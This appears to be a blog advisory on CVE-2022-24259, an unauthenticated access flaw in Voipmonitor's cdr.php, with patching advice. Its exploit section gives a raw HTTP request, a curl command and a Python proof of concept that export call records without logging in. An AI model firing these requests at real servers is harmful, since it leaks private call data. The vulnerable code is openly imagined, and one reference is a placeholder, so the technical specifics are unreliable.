In early 2022, security researchers discovered a serious vulnerability in Voipmonitor's web UI (specifically in cdr.php), tracked as CVE-2022-24259. If your Voipmonitor installation runs a version earlier than v24.96, your system could be at risk — an unauthenticated attacker can gain unauthorized access and escalate their privileges.

What is Voipmonitor?

Voipmonitor is an open-source VoIP call monitoring software. Many businesses use its web GUI to review and analyze call data. Like many web apps, it has user logins and privilege checks — but in this case, there's a flaw.

Description of CVE-2022-24259

The core of the vulnerability is this:  
Before version 24.96, cdr.php doesn't properly check user authentication. This means someone can send a specially crafted HTTP request to take actions meant for logged-in users — even without logging in!

Why Does it Happen?

The poorly implemented authentication check in cdr.php is at fault. That lets attackers mimic requests of authorized users!

Imagine the code in cdr.php looks roughly like this

// cdr.php
// ... some setup code ...
if ($_GET['action'] == 'export') {
    // supposed to check if user is authenticated
    if (!isset($_SESSION['user'])) {
        // should block unauth user, but bypassed due to a logic bug
        // bug: logic allows export to continue via a crafted request
    }
    export_calls();  // this call provides export functionality
}

Due to an incorrect or missing check, the export_calls() function is still called — even for unauthenticated users.

Exploiting CVE-2022-24259

Let’s say you're an attacker. Here’s how you might exploit the bug.

Step 1: Find the Web GUI

You find a target Voipmonitor installation, e.g. http://voipmon.target.com/.

The following request doesn't require authentication

GET /cdr.php?action=export&type=csv&user_id=1 HTTP/1.1
Host: voipmon.target.com

If the system is vulnerable, it ignores the lack of session/cookie and lets you export call records as privileged user #1.

Simple Curl Command

curl "http://voipmon.target.com/cdr.php?action=export&type=csv&user_id=1"

Here’s a minimal proof-of-concept

import requests

url = "http://voipmon.target.com/cdr.php?action=export&type=csv&user_id=1"
response = requests.get(url)

if response.status_code == 200:
    print("Exploit successful! Exported data:")
    print(response.text)
else:
    print("Exploit failed or system is patched.")

If it's before 24.96, you're at risk.

Test with a no-auth curl request like above:  
curl "http://your_voipmon/cdr.php?action=export&type=csv&user_id=1";

Upgrade your Voipmonitor GUI to version 24.96 or above!

- Review the official changelog for details.

References

- NVD Entry for CVE-2022-24259
- Voipmonitor Website
- Relevant Github Issue (if any) *(Note: placeholder)*

Conclusion

CVE-2022-24259 is both easy to exploit and high impact.  
If you run a public Voipmonitor GUI, patch *immediately* or risk leaking sensitive calls to anyone on the internet.

Share this with your IT team and update your systems today!

Stay safe. If you found this useful, share it to help others!

*This article is original and was written to help users understand and defend against CVE-2022-24259. If you have questions, comment below or reach out!*

Timeline

Published on: 02/04/2022 17:15:00 UTC
Last modified on: 04/12/2022 16:07:00 UTC